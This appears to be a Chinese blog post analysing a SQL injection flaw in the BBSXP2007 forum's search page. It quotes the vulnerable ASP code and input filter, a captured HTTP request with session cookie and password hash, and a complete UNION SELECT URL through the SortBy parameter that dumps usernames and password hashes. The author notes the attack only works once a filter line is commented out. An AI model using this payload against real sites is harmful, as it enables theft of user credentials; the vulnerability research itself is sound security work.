作者:allyesno 来源:http://www.cnblogs.com/allyesno/
首先感谢sobiny。最近B.C.T的朋友似乎发布了很多BBSXP2007的漏洞。我今天在官方下了一个BBSXP2007的最新版本(发布日期:2007年7月7日发布)。大致看了一下,在一种极端的情况下,说明一下漏洞的利用方法。 举例说明,search.asp,我们看如下代码:
<!-- #i nclude file="Setup.asp" --><% HtmlTop
ForumID=RequestInt("ForumID") DateComparer=RequestInt("DateComparer")
if Request("menu")="Result" then Keywords=HTMLEncode(Request("Keywords"))
SortBy=HTMLEncode(Request("SortBy")) Item=HTMLEncode(Request("Item"))
if Keywords="" then error("您没有输入任何查询条件!") if Request("VerifyCode")<>Session("VerifyCode") or Session("VerifyCode")="" then error("验证码错误!")
SQLSearch="IsApproved=1 and IsDel=0 and "&Item&" like '%"&Keywords&"%' " if DateComparer > 0 then SQLSearch=SQLSearch&" and PostTime>"&SqlNowString&"-"&DateComparer&" "
if ForumID > 0 then SQLSearch=SQLSearch&" and ForumID="&ForumID&" "
sql="select * from [BBSXP_Threads] where "&SQLSearch&" order by ThreadID "&SortBy&"" Rs.Open sql,Conn,1 我们找到BBSXP_Class.asp,找到如下代码:
Function HTMLEncode(fString)
fString=Trim(fString) fString=Replace(fString,CHR(9),"") fString=Replace(fString,CHR(13),"") fString=Replace(fString,CHR(22),"") fString=Replace(fString,CHR(38),"&") '“&” fString=Replace(fString,CHR(32)," ") '“ ” fString=Replace(fString,CHR(34),""") '“"” fString=Replace(fString,CHR(39),"'") '“'” fString=Replace(fString,CHR(60),"<") '“<” fString=Replace(fString,CHR(62),">") '“>” fString=Replace(fString,CHR(92),"\") '“\” fString=Replace(fString,CHR(45)&CHR(45),"--") '“--” fString=Replace(fString,CHR(59),";") '“;” fString=Replace(fString,CHR(10),"<br>") fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$1$2;")
if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi fString=escape(fString) fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;") fString=unescape(fString) end if
HTMLEncode=fString End Function 前面我们说,在一种极端的情况下,其实这里我们要测试要做如下手脚,把htmlencode的第六行注释掉: 'fString=Replace(fString,CHR(32)," ") '“ ” 然后我们来利用,在论坛注册一个Ivory的用户,然后发一张帖子,如图一:
 然后点“搜索”,搜索一下刚才的帖子。如图二:
 这时候进行抓包。抓包后的结果:
POST /bbsxp/Search.asp?menu=Result HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.106/bbsxp/Search.asp?ForumID=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 192.168.1.106 Content-Length: 79 Connection: Keep-Alive Cache-Control: no-cache Cookie: ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E111%3C/option%3E; Themes=default; ASPSESSIONIDQCSBDDCT=HMIHPBPADLHDJPLCKOHKJBMM; Invisible=0; UserID=2; Userpass=7C4A8D09CA3762AF61E59520943DC26494F8941B
Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc&ForumID=1&VerifyCode=9915 好了,这时候,我们就可以自行构造了: 比如我构造如下语句: http://192.168.1.106/bbsxp/Search.asp?menu=Result&Keywords=test&Item=Topic&DateComparer=365&SortBy=Desc%20union%20select%201,1,1,1,userpass,username,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20[bbsxp_users]%20order%20by%20ThreadID&ForumID=1&VerifyCode=9915 就会出现如图三的效果:
 相信大家看的很明显了,立刻暴出了用户名和相对应的密码。当然大家可以自行构造自己想要的语句,这里有两个问题没有解决: 一个就是BBSXP的40位加密问题、另外一个就是我说的是在极端条件下的注入方法,具体怎么饶过这个CHR(32)还在研究中,不知道是头脑发热还是没睡醒,既然BCT发布出来了,就一定有他的理由。 |